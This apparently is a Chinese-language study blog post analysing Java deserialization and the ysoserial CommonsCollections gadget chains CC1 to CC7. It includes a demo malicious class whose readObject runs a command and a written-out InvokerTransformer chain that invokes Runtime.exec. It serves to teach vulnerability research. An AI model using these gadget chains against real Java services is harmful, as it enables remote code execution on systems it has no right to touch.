0%

java web入门 ysoserial 学习 part Ⅰ

前言

忙完考试周,又重新开始搁置许久的学习了 新学期开坑JAVA web 准备从反序列化漏洞入手 先分析一波ysoserial吧

java序列化
java.io.Serializable

jdk提供了java进行序列化与反序列化的方法 一个类若是实现了 java.io.Serializable 接口且其所有的属性都可以被序列化 则它这个类可以被序列化

1
2
3
4
5
// 将类序列化为字节码
void writeObject(){}

// 将字节码反序列化为类
void readObject(){}

demo程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import  java.io.*;

class test implements Serializable{
public String a;

public void echo(){
System.out.println(this.a);
}
}

public class seria{
public static void main(String[] args) throws IOException, ClassNotFoundException{
test t = new test();
t.a = "gin";
t.echo();

FileOutputStream fo = new FileOutputStream("./test");
ObjectOutputStream out = new ObjectOutputStream(fo);
out.writeObject(t);
out.close();

FileInputStream fi = new FileInputStream("./test");
ObjectInputStream in = new ObjectInputStream(fi);
test t1 = (test) in.readObject();
in.close();

t1.echo();
}
}

序列化后的类长这个样子 👇

1
2
3
4
5
cat test | xxd
00000000: aced 0005 7372 0004 7465 7374 eb8c 7617 ....sr..test..v.
00000010: 3e4f e82c 0200 014c 0001 6174 0012 4c6a >O.,...L..at..Lj
00000020: 6176 612f 6c61 6e67 2f53 7472 696e 673b ava/lang/String;
00000030: 7870 7400 0367 696e xpt..gin

其中 aced 为魔术头 0005 为版本号 更多可见 这篇文章

除了静态变量不会被序列化之外 java中存在关键字 transient 使得类被序列化时 被该关键字所修饰的属性不会被序列化

java.io.Externalizable

Externalizable 接口继承于 Serializable 接口

1
2
3
4
5
// 将类序列化为字节码
void writeExternal(){}

// 将字节码反序列化为类
void readExternal(){}

通过该接口进行序列化时 序列化的操作完全由👆这两个函数决定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import java.io.*;

class test implements Externalizable{
public String a;
public transient String b;
public String c;

public test(){}

public void echo(){
System.out.println(this.a + this.b + this.c);
}

@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeObject(a);
out.writeObject(b);
}

@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
a = (String) in.readObject();
b = (String) in.readObject();
}
}

public class seria{
public static void main(String[] args) throws IOException, ClassNotFoundException{
test t = new test();
t.a = "a_";
t.b = "b_";
t.c = "c_";
t.echo();

FileOutputStream fo = new FileOutputStream("./test");
ObjectOutputStream out = new ObjectOutputStream(fo);
out.writeObject(t);
out.close();

FileInputStream fi = new FileInputStream("./test");
ObjectInputStream in = new ObjectInputStream(fi);
test t1 = (test) in.readObject();
in.close();

t1.echo();
}
}
恶意类

类被反序列化时会调用 readObject() 函数 所以可以通过重写 readObject() 方法来实现一个恶意的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.*;

public class evil implements Serializable {
public String a;

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();

Runtime.getRuntime().exec("open /Applications/Calculator.app");
}

public static void main(String[] args) throws IOException {
evil e = new evil();
FileOutputStream fo = new FileOutputStream("./test");
ObjectOutputStream out = new ObjectOutputStream(fo);
out.writeObject(e);
out.close();
}
}
1
2
3
4
5
6
7
8
9
10
import java.io.*;

public class seria{
public static void main(String[] args) throws IOException, ClassNotFoundException{
FileInputStream fi = new FileInputStream("./test");
ObjectInputStream in = new ObjectInputStream(fi);
evil e = (evil) in.readObject();
in.close();
}
}
ysoserial
1
Usage: java -jar ysoserial.jar [payload] '[command]'

用于生成对应利用链的payload

CommonsCollections1

关键在于以下几个类

  • ConstantTransformer

    1
    2
    3
    4
    5
    6
    7
    8
    public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
    }

    public Object transform(Object input) {
    return iConstant;
    }
  • InvokerTransformer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
    }

    public Object transform(Object input) {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
    }
  • ChainedTransformer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
    }

    public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
    }
    return object;
    }

顾名思义 第一个类的作用是返回一个 Object 可以作为链的起点 第二个类的作用是反射调用某个类的某个方法 第三个类是迭代的利用第二个类

所以考虑将以下调用转换为链的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
java.lang.Runtime.getRuntime().exec(cmd);
->
ConstantTransformer(Runtime.class),
getRuntime().exec(cmd);
->
// 由于 InvokeTransformer 中是先将输入 getClass() 故这里需要绕一下
ConstantTransformer(Runtime.class),
InvokeTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
invoke(Object, new Object[0]),
exec(cmd);
->
ConstantTransformer(Runtime.class),
InvokeTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
InvokeTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
exec(cmd);
->
ConstantTransformer(Runtime.class),
InvokeTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
InvokeTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
InvokeTransformer("exec", new Class[] {String.class}, new Object[] {"id"});

最后封装到一个 ChainedTransformer 中 若其 transform 方法被调用 则 POP 链可以得到执行

所以接下来是寻找一个可以利用的类 其需要满足

  • 重写了 readObject() 方法
  • readObject() 部分可以触发 transform

cc1 利用的链:

  • proxy(lazymap).entrySet() -> InvocationHandler(lazymap).invoke() -> lazymap.get() -> transform()

链的关键在于:

image-20200908103016831

其中的 memberValues 为 lazymap 的一个动态代理类 其调用方法时 会触发以下逻辑:

image-20200908103332981

可以看到其中存在 memberValues.get 则会跳转到image-20200908105122426

触发 transform 执行了payload

image-20200909103605280

另外的可以利用的链:

  • TransformedMap.setValue() -> TransformedMap.checkSetValue()
1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
image-20200909114921813
CommonsCollections3

cc3 的 利用环境和 cc1 是一样的 算是对 commons-colllections3.1 的另一种利用方式

1
2
3
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] {Templates.class},
new Object[] {TemplatesImpl});

首先理解一下如如何使用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类进行 rce 关键部分如下:

image-20200910085428605 image-20200910085546775 image-20200910085630755

即如果能触发该类的 newTransformer() 函数 则该类会从 _bytecodes 中获取字节码 并生成一个对应类的实例 所以可以构造一个恶意类 将其字节码设置进入 _bytecodes 中 当其被实例化时 达到 rce 的目的

其次就是理解 cc3 与 cc1 在 chain 部分的不同 cc3 通过 ConstantTransformer 获取到 TrAXFilter.class 然后利用 InstantiateTransformer 生成一个 TrAXFilter 的实例 其构造方法中调用了成员的 newTransformer() 函数 触发 payload

image-20200910163549620 image-20200910163724642
CommonsCollections2

cc2 同样是利用了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类进行 rce 其攻击的版本为 commons-collections4 利用了另外的链进行触发

1
2
3
4
5
6
7
PriorityQueue.heapify();
->
TransformingComparator.compare();
->
InvokerTransfomer.transform();
->
TemplatesImpl.newTransformer();

这条链的入口在于 PriorityQueue 的 readObject() 函数 当比较函数中存在恶意类时 触发了 Transformer 的比较器 而其中存在触发 transform() 的点 之后就很简单了 cc2 是用的 InvokerTransformer 直接反射调用 TemplatesImpl 的 newTransformer() 函数

image-20200910174816826 image-20200910174833212 image-20200910174908624
CommonsCollections4

cc4 是 cc2 的另一个触发链 触发方式和 cc3 是一样的 即通过 InstantiateTransformer

image-20200911113844280
CommonsCollections5

cc5 攻击版本为 Commons-Collections3 不同于cc1触发 AnnotationInvocationHandler 的 readObject() 方法进行反序列化攻击 cc5 利用的类为 BadAttributeValueExpException 类 要求 JVM 不启用 SecurityManager

  • TiedMapEntry.toString() -> TiedMapEntry.getValue() -> LazyMap.get()
image-20200909151002444
CommonsCollections6

cc6 攻击的版本为 Commons-Collections3 反序列化入口为 HashSet 类的 readObject() 方法 其中 put() 方法最后会触发 TiedMapEntry 的 hashcode() 方法 其中存在 getValue() 触发 rce

image-20200911131457373 image-20200911131532710 image-20200911131630232
CommonsCollections7

cc7 攻击版本同样为 Commons-Collections3 反序列化入口为 Hashtable 类的 readObject() 方法

image-20200911152116121 image-20200911152204006

其实关键在于 构造两个 hash 一致的 lazymap 触发 equals 比较 然后 紧接着触发 lazymap.get() 唯一的坑点在于构造 payload 时触发过一次 lazymap.get() 所以需要将多出来的键值对 remove 掉

后记

这篇文章断断续续的写了五天 思路可能会显得稍微不连贯 如果文章有什么错误 也请师傅们多多包涵

分析完 cc 链 下一篇文章会接着分析 ysoserial 里用到的其他 POP 链